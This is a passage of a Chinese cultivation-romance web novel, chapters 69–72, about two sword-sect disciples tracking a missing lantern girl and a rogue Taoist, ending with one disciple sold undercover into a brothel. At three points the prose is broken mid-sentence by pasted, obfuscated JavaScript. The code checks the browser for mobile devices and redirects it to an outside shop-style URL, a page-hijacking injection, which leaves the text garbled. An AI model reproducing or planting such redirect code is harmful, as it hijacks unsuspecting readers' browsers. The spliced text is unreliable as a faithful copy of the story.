黑暗中,只有点灯女的花灯亮着几个,但那些花灯的蜡烛燃尽,也一个接着一个熄灭,很快整条街重新陷入深夜,就像夜灯节从来没有开始过。 69.第 69 章 这一夜似乎非常安宁,没有任何事发生,除了那卖灯的小姑娘无缘无故消失。 次日,街市又热闹起来,街上又重新走满了人,来来往往。 等了一夜小姑娘也没有回来,连乔也犯难了,“这怎么办?” 还要继续等吗? 迟星垂道:“先问问周围有没有人认识她,如果再找不到,就报官吧。” 人间自有人间的秩序,修真界也有修真界的规矩,如果不是邪祟作恶,他们不能插手其中。 周围人有不少认识那姑娘的,看到空了的灯笼摊子还十分奇怪,“咦,小竹昨天哪去了,这些灯笼怎么都还在呢?” 说话的是个卖菜的老婆婆,年纪很大,头发花白,背很驼,抱着腿坐在一桶麦芽糖前。 “婆婆,你认识小竹啊?”连乔蹲下来,那婆婆说话带着浓厚的当地口音,连乔听不太懂,也不确定是不是自己听错了。 “婆婆,你知道小竹家在哪里吗?” 那婆婆瞥连乔一眼,看她不是本地人,不说话了。 连乔以为她听不见,又比了个手势,问她能不能听到。 瘪嘴的婆婆蜷着身体,搅着手里的麦芽糖,麦芽糖晶莹剔透,拉成丝,像透明的丝线。 旁边有人来买糖,婆婆瘪着嘴和那人说了两句,那人不买,她继续卖糖,仍旧不理连乔。 “婆婆,你跟他说话,为什么不跟我说?”连乔把头伸过去,用手在她面前晃了晃手,“婆婆?” 那老太冷不防瞥连乔一眼,凶巴巴吼了一句什么,把连乔吼得往后一退。 连乔:“……”不说就不说,这么凶做什么。 那老太嘟哝几句,连乔又没听懂,迟星垂看她一眼,蹲下来,用浓厚的墨江口音说,“阿婆,要两个糖。” 老婆婆看迟星垂一眼,接了一句话,连乔仍旧听不懂,迟星垂接了一句,老婆婆又回了一句。 两个人说完,老婆婆将糖递给迟星垂,迟星垂接过来,递给连乔。 连乔把头伸过来,“她刚刚说什么?” “她说你买了糖我就告诉你。” 连乔:“……” 迟星垂问清楚了那小姑娘的家庭住址在哪里后,两人就来到城郊处的一处宅院前。 那老太说那小姑娘叫小竹,全名叫肖竹。住在城郊东面,家里只有她和老母亲两个人。 小竹家庭非常困难,母亲眼睛看不见,且腿有残疾,常年卧病在床,母女俩相依为命多年,平日里就靠着小竹做些手工艺活,以及卖一些胭脂水粉过生活。 来到老太说的小竹家,连乔敲了敲门,“有人吗?” 没有人回应。 她推开门,房子不大,但是有一个院子,院子里面种了花,现在正是初春,院里的迎春花探出头来,金鹅蕊一样的黄色,娇俏而可爱。 进了门,里面空荡荡的。连乔转过身去刚要走,忽然听到一句,“是小竹回来了吗?” 一团黑影窝在角落里,她扶着墙才勉强站起来,探出身体望向屋外。连乔这才发现是一个妇人,整个人形容枯槁,像一堆干枯的稻草。 她身上的衣服已经很旧了,打了很多处补丁,但干净整洁,头发也梳得干干净净。 “不是小竹啊?”没有得到回应,妇人又慢慢的坐回去,安安静静坐在黑暗里等待。 这个妇人应该就是小竹的母亲了,看不见,腿也有残疾。 她看上去有点害怕。听声音家里闯进了两个陌生人,像是来找小竹的,难道是小丫头在外面又惹了什么事,一晚上都没回来是为了躲祸事。 “我也不知道小竹在哪里。”她伸手在旁边摸,摸了很久,摸到一个柜子。 干枯的手打开抽屉,里面有几枚铜钱,她有些犹豫,“我不知道小竹是不是又惹事了,要是她做了什么错事,你们能不能放他一马,我们现在只有这么多钱,其他的我们慢慢还。” 意识到对方误会了,连乔赶忙开口,“没有,我们不是来找麻烦的。” 她来的时候把小竹摊子上剩下的东西收起来,团在一个包裹里,走上前把包裹放下来,“我是小竹的客人,昨天在灯会上想买她的灯笼,不过她人不见了,我们现在过来看看她在不在这里。” “啊?”妇人愣了一下,摇摇头,“小竹昨天下午就去夜灯节了,她一晚上没回来。” “她平时经常这样吗?”连乔问,“她有没有什么朋友呢?平常会不会去朋友家里住?” “小竹平常不在外面过夜。”老妇人又扶着墙站起来,摸到大堂的桌子前,连乔这才发现到妇人要给她们倒水。 迟星垂道,“大姐不用忙活,我们不渴。” “小竹虽然性格调皮,但是很孝顺善良。”妇人还是给两人各倒了一杯茶水,“因为我身体不方便,她在外面不管多晚都会回来,这还是第一次一晚上不回家。” “我怕她出事,早上问街坊邻居,但是都没有人看见过她。” 小竹从来没有过夜不归宿的情况,那看来这次失踪就不是偶然了。 连乔看看迟星垂,又转身望向背后,坐在门口等女儿回来的妇人。 她就坐在阴影里,安安静静的,每次听到什么动静就会往对面转过头去。她看不见,所以会跟着问一句,“是小竹吗?” 没有人回应。 两个人没有找到小竹,但是也没有发现别的异常的地方,最后只能报官。 离开桐花岭前,连乔将这几日买的东西放回芥子中。收拾到花灯的时候,她忽然想起站在河边抱着手对她做游鱼动作的姑娘,又想到坐在阴影中,安静等待女儿回来的母亲。 如果不是意外还好,那妇人还能等到女儿回来,但如果真有什么意外,那个看不见行动也不方便的妇人,能等到女儿回来么? 连乔玩着手里的铜钱,铜钱是他们从地摊上淘回来的,是古物,上面有裂纹,裂纹被红线绑起来,就一点残缺也看不到了。 三枚铜钱,两正一反落在桌上。 连乔托着腮沉想一会儿,忽然掏出来一本《卦象册》,随后将三枚铜钱握在手心,闭上眼,抛掷在桌上,抛掷六次。 连乔只在书中看过起卦的方式,并没有试过解卦,得出卦象后并不熟悉,还要依照古书来看卦象是否凶吉。 根据卦象看……没有问题。 迟星垂望着连乔画出来的六爻卦象,道,“老阴和老阳是变爻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638859|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“遇到这两种情况,这里要改变。”他将连乔画得卦象中的两个结果擦掉,换成另一种对应的变爻,这次所得到的结果就完全相反。 “本卦体现的是卜事初始的情况,变卦才是你想要的结果。” 看到卦象,迟星垂脸色已经变了,连乔再对照古书将自己卜测到的卦象找到,也停下手来。 本卦无事,变卦大凶。 这样一件事,居然有这么凶的卦?连乔忽然不太相信玄学,“有没有可能哪里有问题,要不要再试一次?” “一件事只预测一次,不可反复预测。”迟星垂将连乔的铜钱收起来,“走吧。” “去哪里?” “去官府,找一下最近几年桐花岭这一片是否有类似的失踪事件。” 结果二人无论是找官府,还是从小道消息上打听,都没有听说过有小竹这样的事情。 她是在闹市失踪的,甚至都没有谁发现她出事,更没有谁听到她惨叫。 小竹和连乔差不多高,虽然是女子,相对体弱一些,但是不至于一点反抗能力都没有,如何在夜灯节这种情况下突然消失呢? “她肯定不是自愿离开她的灯笼摊子的。” 此时二人整坐在沿街的一家客栈里,二楼临窗的地方刚好可以看到河流的小桥。 连乔的目光从小桥上收回来,“我听说为了夜灯节,小竹准备了一个月才做出那些灯笼。” 小竹的手很巧,而且嘴甜,所以灯笼卖得特别好,这一个月她一有闲工夫就往后山竹林跑,所有的闲暇功夫都用来编灯笼,等着夜灯节给母亲赚一点药钱。 她就算遇到了很着急的很严重的事,也不会直接弃她的宝贝于不顾。 “要不,再去她家里看看?” 连乔将铜钱抛向空中,伸手一接,“走。” * 小竹家里还挂了不少灯笼,都是未完成的。听到动静,老妇人扶着墙站起来,“小竹回来了吗?” “大姐,还是我们。” 老妇人又扶着墙坐下,脸色十分焦急。小竹已经失踪两天了,她从来就没有这样说,她去报官,官府也找不到小竹,只让她在家里等。 “大姐,小竹失踪前有没有什么异常?” 妇人摇头,“没有的,小竹一直在忙灯节的事,我的眼睛越来越差了,东桥的王大夫说有可能会治好,小竹想攒钱替我治病,一直很辛苦,我眼睛不好帮不上别的忙,但是我会编灯笼的外框,编好了小竹再糊纸,一直到做好了灯节上要用的灯笼。” “夜灯节一到,小竹就出去了。” 看样子没问题,那就是在灯节上遇到突发问题了? “大姐,你把小竹的年纪和详细的信息跟我们说一下。”连乔记得小竹失踪前穿的是一套亚麻束袖的灰色衣裙,就没有再问她的衣着和长相。 连乔他们问一句妇人回答一句。 在说到小竹的生辰八字时,迟星垂忽然眯了一下眼。 连乔又问了几个问题后和迟星垂离开。 “你发现什么了吗?” 迟星垂道,“小竹的生辰八字四柱全阴,不仅如此,她还在冬日傍晚出生。” 这让他想起一些事。 70.第 70 章 那是上一世,时间大概是现在时间的一年后,迟来风在剑宗惹了桃花债桃花,和云招摇大吵一顿,云招摇出剑宗历练,找一个专抓女子练招魂幡的道士。 道士的招魂幡里有几十个阴魂,里面有一只厉鬼,名为灯女,像一只人皮灯笼,会放鬼火。 灯女来历不明,因为是被虐待致死,所以怨气重阴气也重,而等事后调查,发现灯女生辰八字全阴,且生于冬日黄昏,命格非常阴狠。 这样一看,那灯女和小竹很像。 迟星垂道:“桐花岭还有墨江一带,流传着一个传说,叫鬼道士。” “我知道,《梅娘传》里面也讲过这个故事,鬼道士,是练功走火入魔,被逐出师门,专门抓年轻未婚的女子练功,梅娘临死前还被妖道重伤。”连乔忽然转过头,“这和鬼道士有什么关系?” “鬼道士是传说,但事实上是有原型的,和《梅娘传》里面不同,鬼道士的传说来自青莲观,青莲观里面有道士差一点修功法出了差池,渡劫失败,之后疯疯癫癫,不知所踪。” “渡劫失败?” “嗯。” 渡劫失败的原因有很多,心性、修为、因果……各界飞升失败的例子也数不胜数,更别提渡劫。 一个修道人飞升失败,虽然叫人唏嘘,但是并不罕见。 “不过后来乾元剑宗发现,这道士并没有死,所以不能算是鬼道士,他不人不鬼不妖不魔,在人间出现过几次,因为炼制邪术,剑宗称他为青莲妖道。” 又是这种不人不鬼不妖不魔的…… “剑宗发现他的几次,都是在炼制招魂幡,他一被发现就立刻隐去踪迹,飘忽不定。”迟星垂道,“因为没有抓到他实际的作恶事实,也就没有深究,关于他的已知信息不多。” 这里迟星垂放慢了语调,故意隐去一些事实。 其实这些年妖道并没有出现过,他因为渡劫失败疯疯癫癫,也是在上一世他被捕获后查出来的。 招魂幡? 这一点连乔清楚,不在这里,是在原书的一年后。 一年后的云招摇已经金丹后期,能够独挡一面,在山下历练,抓利用招魂幡杀人的妖道。 难道和一年后的那个妖道有关? 迟星垂道:“妖道炼制招魂幡,需要八字全阴的女子,从邪术上来看,这样的女子体质特殊命里携煞,能够炼制出最强的杀人武器。” 连乔脑海中浮现小竹的模样,那样乖巧善良的女孩,如何能泯灭其人性,逼她杀人呢? 似乎是看出了连乔的不解,迟星垂解释道,“如果利用邪术,可以无限放大一个人心底阴暗的部分,反复折磨,直到将你心理防线击溃。” 他举了个例子,“比如,瞳镜。” 原来如此,连乔有些疑惑,“那如果真是妖道所为,他居无定所四海漂泊,我们怎么能找到他呢?” 三日后。 墨江沿河某客栈。 墨江城比桐花岭大,也是依水而建,纵横四条街,午后天气晴朗,但人不多,偶尔传来吆喝声和叫卖声,穿过墨江纵横交错的河流,又穿过高高的马头墙,随风扬散在远处。 一连三天都在赶路,为了掩人耳目,连乔和迟星垂都简单易容过,易容过的二人容貌非常平常,往人群里一丢很难被别人注意。 连乔有演戏经验,演什么像什么,演点头哈腰的小厮就是小厮本厮,她伸手点点桌子,“公子,等会儿你真带我去快活啊?” “嘶……”迟星垂伸手,将连乔扬起的嘴角按下来。 无他,连乔笑得太猥琐了,配上她这身装扮,实在是惨不忍睹。 除了脸上涂了一层南瓜汁,皮肤又黄又粗糙外,她的眉毛也画粗了,眼角往下拉,再加上那很入戏的状态,眼珠子滴溜溜地转,一看就是猥琐爱出馊主意的坏玩意儿。 相比之下,迟星垂的仪态实在是太好,就算是换上普通的衣服化了丑妆,人往那一坐也能看出气质不凡。 有些人的气质是在骨子里的,从举手投足间就能看出来,不过来往人多,他们俩异常低调,也不引人注目。 连乔坐在迟星垂旁边,就像是陪老爷出来的狗腿子,哦不,现在就是陪少爷出来的狗腿子。 看她一脸期待的模样,迟星垂脸颊有点抽搐,“醉玉馆天黑才开门,现在时间还早,你不用这么期待。” “也不是期待,我是想去凑凑热闹。” 迟星垂冷脸,“有辱斯文。” “少爷,你确定妖道下一个目标一定是醉玉馆的那个人吗?” “嗯。”迟星垂道,“山影那里有桐花岭所有人的出生记录,根据他的说法,除了小竹,现在桐花岭八字全阴的姑娘只有她一个。” “妖道拿到人的生辰八字很难,找到一个完全符合条件的活祭品更难,除小竹外只有她一个,他不会就此放过的。” 除此之外,迟星垂还记得上一世中是云招摇拿到的招魂幡,并将招魂幡为自己所用。 招魂幡里面有一个红颜女,枯骨红颜,最嫉恨背信弃义朝三暮四的男人,曾经在云招摇不注意的时候勾引过迟来风,并且妄图将迟来风反杀,最后被云招摇发现并且将其消灭。 这个红颜女,和现在他们要找的人相似度非常高。 迟星垂说的红颜女真名洪颜,桐花岭人,生于书香门第洪家,素日里大门不出二门不迈,但是在一次夜游会上碰到穷困书生李怀杨,两人有了私下交汇,不久后跟着李怀杨私奔。 李怀杨确实有些才能,但是却是个不折不扣的伪君子,他勾搭上洪颜只是图她新鲜,等时间长了觉得没意思,反手将她卖到黑市。 洪颜颇有姿色,琴棋书画样样精通,很快被醉玉楼买走,并且调.教成楼里的头牌。 迟星垂和连乔等到夜幕降临,远处墨江岸边已经挂上连串的灯,倒映在水中,如同一长串发光的珍珠,从这里连到天际。 旁边桌上也坐了两个人,一个肤色白,穿着蓝白粗布衣服,另一个稍黑,穿着黑灰衣服。 蓝白衣服那个人说,“老李,你今天跑出来喝酒,嫂子知道吗?” “她哪能知道,她知道我还能出来?” 黑灰衣服的人往椅子上一靠,手枕在头下,望着窗外,“哎,听说醉玉楼来了几个新的姑娘,模样是一等一的漂亮,什么都会,还玩得开。” 蓝白衣服的人“哎呦”一声,“老张,给你老婆知道了,不得跟你闹别扭!” “你别提那黄脸婆了,她现在有了身子,自己顾自己都来不及,哪里管得上我?” 老李望着楼外的人,露出一个猥琐的笑,“还是醉玉楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655813|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的姑娘漂亮,一个个香喷喷的,就跟仙女一样,不如我们……” 他露了个天知地知你知我知的表情。 对面人朝他指了指,“你啊你,张王广啊,你老婆大肚子,你出来鬼混?” “鬼混?赵平你这就不对了,我这哪能叫鬼混?”张王广龇着一口黄牙,“我这是男人本色,这叫英雄爱美人。” 赵平了然一笑,“那要不等会儿咱俩进去逛逛?” “走,听说今晚有一个红颜美女要出来。”张王广一拍大腿,十分可惜似的,“可惜啊,老子现在没钱,老子有钱,必须要给她□□。” 赵平问:“红颜美女是什么人?” “红颜嘛,红颜当然是红颜祸水了。”老李嘿嘿一笑,“老子今天非要看看有多红颜~” 连乔望着那一高一矮的两个人前后离开,搓了搓牙齿。 两个人刚出门,忽然张王广一摸头,“谁打我?” “没有人打你,这哪有人?”赵平转头,空面空荡荡的,“你见鬼了?” “奇了怪了。”张王广摸了摸头,“真有人打我啊。” 两个人你看着我我看着你,忽然露出十分惊恐的表情,惊慌失措争前恐后往前跑。 连乔靠坐在椅子上,腿架得老高,“还见红颜女呢,等红颜女专门杀你这种负心汉你就真潇洒了,啧啧。” 等二人走远了,连乔收回脚,“大少爷,你带我去找乐子吧?” “麻烦你把嘴角收一下。”迟星垂揉了揉眉头,“你很兴奋么?” “我当然兴奋,这可是我第一次来这种地方喝花酒。” 看着迟星垂探究的眼神,连乔找补道,“大公子,你要知道……像我以前,想玩花的都不需要亲自来,是有人专门送上门为我提供服务的。” “……你看上去还很骄傲?” “哪里哪里。”连乔道,“我只是想让你别用这种眼神来看我,我也是见过世面的。” 连乔斜眼看他,“迟大公子,我知道,你们经常出入烟花柳巷,所以觉得不新奇,那我第一次来,当然是觉得有意思了。” 她拍拍迟星垂肩膀,迟星垂:“???” “你说什么?” 迟星垂望着她一脸无语,连乔道,“你别这样看我,不说别的,我知道你的……迟来风,虽然我们不做那些生意,但是云来城的有些人还是认识的,方叔曾经就明里暗里和我说过,迟来风是经常带……曾经经常带很多不同的风月女人出入借酒楼。” 迟星垂连乔不清楚,但是迟来风是什么货色连乔可太清楚了,她道,“你们见惯了各种世面,觉得无所谓,但是我第一次来,当然是很有意思了。” 迟星垂脸色已有不悦,“别拿迟来风和我相提并论。” 连乔:“……” “不过大少爷……”连乔又凑过去,“我虽然第一次来这里,但是并不代表我什么都不懂。” 迟星垂隐忍着,“你懂什么?” “我当然知道要怎么喝花的嘛。” “怎么喝啊?”迟星垂冷笑了一声,“和瞳曜么?还是山影啊?” 连乔:“!!!” “迟星垂!” 望着迟星垂的背影,连乔气得肝疼。 什么意思啊,好好的他又在发什么癫? 71.第 71 章 “少爷,红颜女呢,她怎么还没出来?” 黄脸小厮跟着大户人家少爷一起出来寻开心,小厮眼珠子乱转,来回打量这包间,但是又不敢看人,一眼望上去就知道是个奸滑的小人儿。 包间是在二楼,香风缭绕,幔帐翻飞,透过这层层叠叠的帘幔,能看到楼下中间巨大的台子。 这个台子架在一楼中间,比其他地方要高出一个人左右,类似舞台,也被各种鲜花灯笼装扮,但是装扮的元素过于密集,隐隐透露一股风尘味。 楼下喝彩声一声接着一声,一浪盖过一浪,连乔等得久了,觉得这家楼过度营销,说是红颜女今天出场,这都大半夜了,也没见人露脸。 这种事她最清楚了,这种营销过高地拉高人的期待,这样就会足够吊着人的胃口,强烈勾起好奇心,还会口口相传,一传十十传百地免费替醉玉馆宣传。 连乔深谙其道,等到后来无聊了,往嘴里扔了颗盐焗花生米,“少爷,今晚我们等不到了。” 迟星垂又开始煮他的茶,连乔觉得这太费事了,也就迟星垂有这耐心。 “怎么说?” “醉玉馆故意的,在故意吊着大家胃口呢。”连乔托着腮,“你信不信,我跟你打个赌。” “乾元剑宗禁赌。” “迂腐,不懂变通。”连乔捏了块糕点放嘴里,继续探头下去,“我们不赌钱,怎么样?” “你说。” 连乔把头缩回来,“要是我赢了,你叫我一声姐姐。” 迟星垂皱眉,“你什么癖好,不叫。” “大少爷你好迂腐哦。” 来往的小厮过来送酒水,听到这诡异惊悚的对话,瞄了连乔一眼,眼神更是一言难尽。 等了一晚上,也没有结果,对面的迟星垂这么木楞,还这么不解风情,连乔觉得没意思。 又过了两炷香时间,楼下扭来一个水蛇一样的女人,有人怀里搂着一个艳丽的女子,对着她吆喝,“艳娘,红颜女呢,不是说今天红颜女要出来吗?” “啊呀,各位官人,红颜女感染风寒了,人现在在休息呢,今天恐怕是见不了各位官人了。” 望着底下一连串叫骂的人,艳娘伸手把帕子一伸,从善如流,仿佛也不是第一次干这事了,“啊呀各位官人,这次实在是没办法啊,今天醉玉馆请各位喝酒,每桌上一壶好酒。” 龟公和小厮给每桌送上酒,有人在下面窃窃私语,“好大的排场,我倒是要看看红颜女什么模样,让我们等一天又一天。” “恐怕是吹过头了。” “不过听说人是真漂亮。” “漂亮,漂亮能有我们家窈窈漂亮?”先前吆喝的人摸了摸怀里的美人的脸蛋儿,美人儿害羞一笑,“啊呀王公子~” 喊得王公子心儿都酥了。 连乔朝迟星垂挑眉,看,我说得没错吧。 迟星垂:“你怎么知道的?” “嘿嘿。”连乔朝他会心一笑,“我刚刚去茅房,听到醉玉馆里面的人自己说的。” 迟星垂:“……” 两个人刚要出门,看到面前两个熟悉的身影。 张王广骂骂咧咧,“我就说么,哪里来的红颜美女,净搞这些幌子,骗我们来这里花钱。” “嘘,小点声,我们不也没花钱吗?” 醉玉馆有规矩,入门即付人头钱,两个人偷偷溜进来,不仅没花钱,还卷了点酒水要带走。 张王广非常会给自己找借口,“是他们先骗人的,我要给他们点教训……哎呦!” 两个人矮着身子往外溜,忽然脚下一滑,张王广摔了个屁股墩儿,往后一扯,把赵平也怼得“哐当”倒下。 “啊呦赵平你怎么扯我?” “谁扯你了,哎呦喂我的腰……” 两个人本来鬼鬼祟祟,不注意就要溜走了,不知道怎么搞的突然闹了这么大动静。 这一倒,所有人的目光都被吸引过来,有个小厮眼尖,“怎么又是你们两个?” 立刻有人从四面八方拢过来,把两个人押下,“上次你们就过来偷东西,打了一顿不老实,还敢来?!” “狗屁玩意儿,没钱就没钱,没钱来逛什么青楼?” 这里人多,艳娘不想耽误做生意,也怕闹出事儿,“偷溜进来就算了,还想顺走我们的东西,赶紧把他们俩送官,给点教训。” “哎,艳妈妈,别啊……”一听报官,张王广立刻老实了,他装作和艳娘很熟的样子。 艳娘躲开他伸过来的手,蹙了蹙鼻子,“你别碰我,你这脏手,知道我的衣服花多少钱吗?” 张王广搓了搓手,手足无措,“艳妈妈,你别报官啊,你这一报官,不就都传出去了吗,那我还怎么做人啊?” “你偷东西的时候怎么不说丢人?”艳娘懒得跟他废话,“来人啊,赶快拖走……” “别啊……别啊艳妈妈……”张王广急了,“艳娘,我家里有老婆,她现在身子不好,她要是知道我逛青楼,肯定要跑了的……” 他可是花了好多钱才娶的老婆,要不然怎么会没钱来这里消遣?! “好啊,你老婆有身子又不是我有身子,你不去求你老婆原谅,求我有什么用?” 风凉话顿时引来一阵哄笑,张王广囧得恨不得找个地缝钻进去。 “我可不是什么好人,最喜欢火上添油。”艳娘一手插腰,另一只手伸出一根手指,点了点旁边两个人,“你们两个,扭着他们俩去送官,你去这二愣子家,当面告诉他老婆,他们俩在我这醉玉馆里吃白食被抓了,让她去官府领人。” 说完转过头,继续招呼大家吃喝玩乐,完全不顾身后张王广的哭喊声,“艳妈妈,我老婆有身子啊,身体正虚着,她要是知道我干出这种事,肯定要受刺激胎像不稳啊……艳妈妈,艳娘!” “……喂,艳娘,艳娘,老鸡.婆……!” 站在二楼看热闹的连乔往嘴里丢了一颗瓜子酥,又拍了拍手上的残渣。 看他这真情流露的模样,还以为多爱他老婆呢。 他要是真爱,就不会刚才在客栈里诋毁她,更不会放着身怀六甲的她不管,跑这种地方来鬼混。 找不到红颜女,两个人出了醉玉馆,在考虑接下来怎么办。 现在也不知道妖道在哪里,可能就混在这群人客人中间,随时可能对她下手,所以耽误不得。 得想个办法。 望着远处热闹的黑赌场和灯火透明的街区,连乔心上一计,“我们既然装客人进不去,不如自己进醉玉馆?” 进醉玉馆后就有机会见到洪颜,也能一直在她身边,不仅能保护她,还能第一时间发现妖道。 “不如这样。”连乔凑到迟星垂耳边,对他耳语两句。 迟星垂立刻否定她,“不行。” “为什么不行?”连乔道,“妖道这几日都在墨江,随时都可能会动手,我混进去是最好的办法。” “太危险了。”迟星垂道,“妖道神出鬼没,民间、剑宗都没有关于他的记录,谁也不知道他有多危险,出了差错,你一个人到红颜女身边,我赶不过去救你。” 上一世的云招摇就差一点栽在妖道手里,后来迟来风赶到,也勉强跟他打个平手,是剑宗所有人一起上,才稍胜一筹,将他制服。 现在是在人间,连乔压了修为,和前世后一年的云招摇差不多,让她一个人对上妖道,太危险了。 到底是修为不够,处处受限制,连乔只能打消这个念头。 她望着迟星垂,忽然又生一计,“我去醉玉馆不一定能保护得了洪颜,但是你可以啊。” 望着连乔势在必得的笑,迟星垂捏了捏眉头,“我不太可以。” “你可以的!” * 远处的赌坊大门紧闭,但是里面的热闹从窗缝和门缝里钻出来,明明是深夜了,还能感受到里面的热火朝天。 面露精光的黄衣男人领着一个白脸书童进了黑市赌场,黄衣男人穿着名贵衣服,摇着扇子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665531|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明天不热,但还是非常油腻地来回摇着,雄赳赳气昂昂,一副“今日我必然回本”的必胜模样。 赌坊老板这种人看的多了,眼生,看着背景不大,有点小钱,眼里手里都藏不住事,这可是最好的围猎对象。 赌坊老板朝旁边摇骰子的人使了个眼色,有几个人立刻围了上去。 “怎么称呼啊,这位公子?” “鄙人姓黄。”连乔指了指自己的衣服,“这个黄。” 她好像有点口音,黄听着又有点像王,赌坊老板开口问,“黄公子不是墨江人啊?” “芜江人,来墨江办点事。”连乔的话说得很有技巧,既说明自己外地来的,又不透露太多信息。 她不是墨江人,口音短时间内很难学得像,所以给自己打造了一个身份。 外地人更好,强龙都压不过地头蛇,她这个外乡人碰到赌坊老板这个地头蛇,太容易被啃得骨头都不剩。 赌坊老板了然一笑,招呼连乔坐下,迟星垂东张西望,看上去很紧张,怯怯地站在她身后。 连乔很快上了牌桌,墨江一带打的是连轴四人牌,一人多牌,三人对一人,规则有些类似那一世的“四人式斗地主”,迟星垂和她讲过规则,连乔很快上手。 连输两把后,一直站在身后的迟星垂扯了扯他的衣服,“少爷,我、我们快走吧。” 连乔输得狠了,眼里都泛着红光,她拂开迟星垂的手,“嘿,我今天就不信了,少爷我平时手气非常好,怎么可能一直输?” 她又连着打了三轮,这次倒是连赢三把,这让她起了很大的信心,越玩越晚,越玩越大,到最后带的钱都赔了进去。 钱都输完了,赌坊老板也就开始赶人,“黄公子,没钱可不能在我们这里待下去了。” 连乔“哎呦”一声,“你这瞧不起谁呢,老子又不是没钱。” “那你钱呢?”赌坊老板横在连乔面前,但是目光已经把他看穿了,“黄公子,我可都看到了,你口袋里包里可是一个字儿都没有了,我这里是赌坊,可不做赔本的生意。” “黄公子”摸了摸头,“我家里有得是钱,我今天在你这里赊账,等我赢了就还给你行不行?” 赌坊老板像是听到什么天大的笑话,“这种话我可是天天都能听到,我凭什么信你?你说赢就赢啊……不行不行,走走走……” 连乔手痒得要命,正玩在兴头上呢,怎么能说出去就出去,她心里抓耳挠腮地难受,再次掏了掏口袋,里面比她的脸都要干净。 “少爷,我们回去吧,老爷要是知道你这么玩,要打死你的。” 连乔演得太像了,纨绔得迟星垂都犯怵。 不知道她这一演就入戏,演什么像什么的能力是在哪学的。 “去去去,你懂个屁。”迟星垂还在拉她,连乔烦躁急了,忽然想到什么似的,将他往前一推,“哎,我把他卖给你们,我再玩两把行不行?” 迟星垂故意将个子压低了很多,即使这样,仍比连乔高出一个拳头。他穿着短打衣裳,但是化了女子妆容,看着就像是女扮男装的小丫头。 他惊恐望着连乔,因为怕露馅,也不敢多说话,一双春水一样的漂亮眼睛里满是惊恐和紧张。 这小鹿的一样的眼神,看得连乔也于心不忍,她安慰道,“别怕,大少爷就是先把押你在这里,等赢了钱,立马把你赎回来。” 赌坊老板其实早就注意到迟星垂了。 这小厮虽然穿着男人的衣服,但眉眼都是女子嘛,一看就是这纨绔的丫头。 还是个漂亮的丫头。 赌坊老板和旁边的人对视一眼。 连乔道,“我这丫……我这书童干活很利索,手脚麻利,也是我爹花了很大价钱买来的,我先押给你。” 老板眼珠子转了一圈,脸上又立刻堆上了笑容,“当然可以当然可以,黄公子继续啊,黄公子手气可得要好点哦,别把小童子都输给我们了。” 然后,连乔就把迟星垂输了出去。 72.第 72 章 等连乔再一次因为没钱被赶出去后,迟星垂也被带走了,他盯着连乔看,连乔用万机给他识海传音,让他表情再惊慌,再幽怨一点。 “演不了。”迟星垂头疼,“再演下去要露馅了。” 果然不是专业的,连乔“啧”一声,“我就说让我去嘛。” 迟星垂:“不行。” 连乔:“迟星垂,你真是个好师兄。” 虽然很不情愿女装,但是为了她的安全,为了救无辜的人,他还是硬着头皮把自己卖给了黑市。 果然应了连乔的猜想,不久后醉玉馆来了人,一眼就看中迟星垂,并花了大价钱将他买走。 和连乔再次联系上,迟星垂已经到了醉玉馆,醉玉馆对这次的货非常满意,迟星垂太漂亮了,唯一的问题就是太高了,比大多数男人都要高,也不温软。 不过也有很多人喜欢这种英气的女子,迟星垂这般与众不同,将她调.教好,吊足外面那些人的胃口,想必到时候能为馆里大赚一笔。 艳娘这次买了三个人,另外两个小姑娘一直在哭,艳娘命人将她们俩扔到柴房,饿上几天没力气哭了再说。 这三个人,还不知道有几个能活下来。 她又看了眼迟星垂,这个小姑娘倒是情绪稳定,模样身形也是一等一优越,比那红颜女还要特别,就是他表情有些木然,也不爱说话,有点呆。 那两个姑娘被带走,迟星垂安静坐着,表现得比较听话,艳娘也就不单独教训他,将他安顿在一间房里,让他休息一晚上。 黑市那黑头儿说,这小姑娘识字,会弹琴会作画,还有点水平,教得好的话,绝对能成醉玉馆新的头牌。 这么好的货,折在手里太可惜了,当然不能和其他人一样对待。 等所有人走后,连乔才出声,她龇着牙,将声音压得很低,“头牌姑娘,怎么样,见到红颜女了吗?” 迟星垂:“呵呵。” 望着中途被掐断的万机,连乔:“……” 她重新连上迟星垂,“别生气呀星垂师兄,我开玩笑的。” 迟星垂冷声,“并不好笑。” 连乔:“是的,不好笑。” 迟星垂:“那你不要笑。” 连乔:“没笑。” “我听到你笑的声音了。” 